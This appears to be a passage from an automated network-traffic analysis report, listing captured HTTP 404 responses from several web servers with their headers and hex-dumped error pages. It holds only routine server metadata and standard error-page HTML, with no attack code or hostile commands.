Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gYjD5X74qOdEklGm2TgwYtT9bq3EWWb4BCvF%2BnRchogNHSdhej9pB9Jh7ta%2BlMADXqtrDCASSTwrTGGp0%2Bf8aHA8x%2BwFzghe9jQApzVRlgsHMHyGWtBLbPHo0J5cqw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e1020009fd00f95-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1119&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2549295&cwnd=250&unsent_bytes=0&cid=8cc85f375c19aca7&ts=897&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:32 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HRVNe6t4Qu6vdEtL9iwI%2BQ1Q38bvr0S%2Bv7SeBZB9zTXz4KJzwfFHZND8kpGfk0doOnoX1lA1F5sAk9S79muVGFJPatHNbuURxpyCaJLrFeoZIKNHo3JcN462fT2Ntw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e10200b0f551a28-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2123&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=1326614&cwnd=230&unsent_bytes=0&cid=7d3700a79224c917&ts=888&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="39.3",amp_style_sanitizer;dur="18.5",amp_tag_and_attribute_sanitizer;dur="16.7",amp_optimizer;dur="21.6"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BvAc3iPRlLdr3uhZ2%2B1cfZPRivLkQeAxlEmKxJWFQmmy7W987mmoH8zUQTxvPcbYa1OeumM058V%2FYP77tcjNj%2Bq1dE%2FDyp8%2FCdgu1fuOZGTpa4mW0LqTZYgfRHLLXw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e10201c79c5c470-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1080&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=881&delivery_rate=2592658&cwnd=251&unsent_bytes=0&cid=edb2ecceb2d1bc0a&ts=1388&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="45.8",amp_style_sanitizer;dur="18.6",amp_tag_and_attribute_sanitizer;dur="21.3",amp_optimizer;dur="19.7"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BKoFbtd2QxUv1zO9bYiKeRCTkKH2L7p3ZhRGl0rXNi%2FQ%2FXulD5iSPj5r%2Bj2Z0%2BKk%2FI3bw%2FHUeuyaiPjCVTKAg3Z7RksY4lz8CPZZOR1rHqdd4Utbu%2FR1h5SbEZHvEw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e102029ddc80f7d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1265&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=881&delivery_rate=2260733&cwnd=251&unsent_bytes=0&cid=b9c91602b0989451&ts=1592&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VDqhFSckBbMMdt1%2Bi4C%2FqqQT7kNz4hBElXo2xCReegjuNyLnNPmKUuEkivTFKU5ay7HyVs6snzcpqD4EcqTCe9278BHYCA04YUV%2FG71W4PY%2BNij7YhvNA8hF0dFFcw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e10207558b76ac9-BOSalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=6915&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=881&delivery_rate=415197&cwnd=32&unsent_bytes=0&cid=a4bbf1a6f1330493&ts=834&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MYr8LF0YWpKwE%2FeGgprbyoxD3mDw%2FFuiiBCLXrs092U9A%2FGelKYQNWQBm0fQkPz8ck1%2B7o7Qg2%2BuzcuNa5NagmuRU9DeRnWQQ8ACGqyOCyIUvfMyaOhi49TP%2BtD1Fw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e10207ffc1f0cc2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1284&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=881&delivery_rate=2028011&cwnd=249&unsent_bytes=0&cid=942c420829deedf4&ts=853&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="90.8",amp_style_sanitizer;dur="32.6",amp_tag_and_attribute_sanitizer;dur="39.0",amp_optimizer;dur="47.5"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i8ultcjbx3qKLlX7JzQcZTiaAgUQn5JYgMW%2BlgO7FvjBtam1P5Gk%2BIlqhzhKPDxHZt%2BRbr0fATGL8vwxCpQpVq0zfeHcoYyL%2FzU6JxaeaMc8RVBHr8BeIQXdnu3iSA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e10208e7937ac0f-YYZalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=11900&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=242993&cwnd=38&unsent_bytes=0&cid=0d3acfbefe145dc7&ts=1588&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:50:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/"server-timing: amp_sanitizer;dur="109.1",amp_style_sanitizer;dur="45.7",amp_tag_and_attribute_sanitizer;dur="32.8",amp_optimizer;dur="56.7"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X3H2%2FQjfCttD5TNIeL0%2Bepi4c4dg%2BVPfIBejVpsSiDzkqwtjQfEUEPO%2BRz%2F07iF7taOeeQ%2FIwk9ed3Qi53DT1HiVaxHoLlcZ%2F8WmvUTOWf%2F6MDci8ij%2FhFftfQx4%2BA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e10209e4e4e0c7a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1167&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=881&delivery_rate=2177443&cwnd=251&unsent_bytes=0&cid=824806930f275890&ts=2431&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Nov 2024 17:51:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M%2BjkOH46Ad7pds8uH%2FYqKlYGA9iz3%2FTkRCsONZ6WSREcNM%2FpFMR1K0UJv8DH9lJ4mRuEBEbLQZBczqOo3%2BrB7SHivU3MjxTKmTnPeJSZk2PjevX%2FL0T0Sh8%2BgQFqfQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e1020f139fe5e82-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1399&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2019525&cwnd=250&unsent_bytes=0&cid=0dba1a167853490a&ts=1011&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:50:23 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:50:29 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:50:23 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:50:29 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:30 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 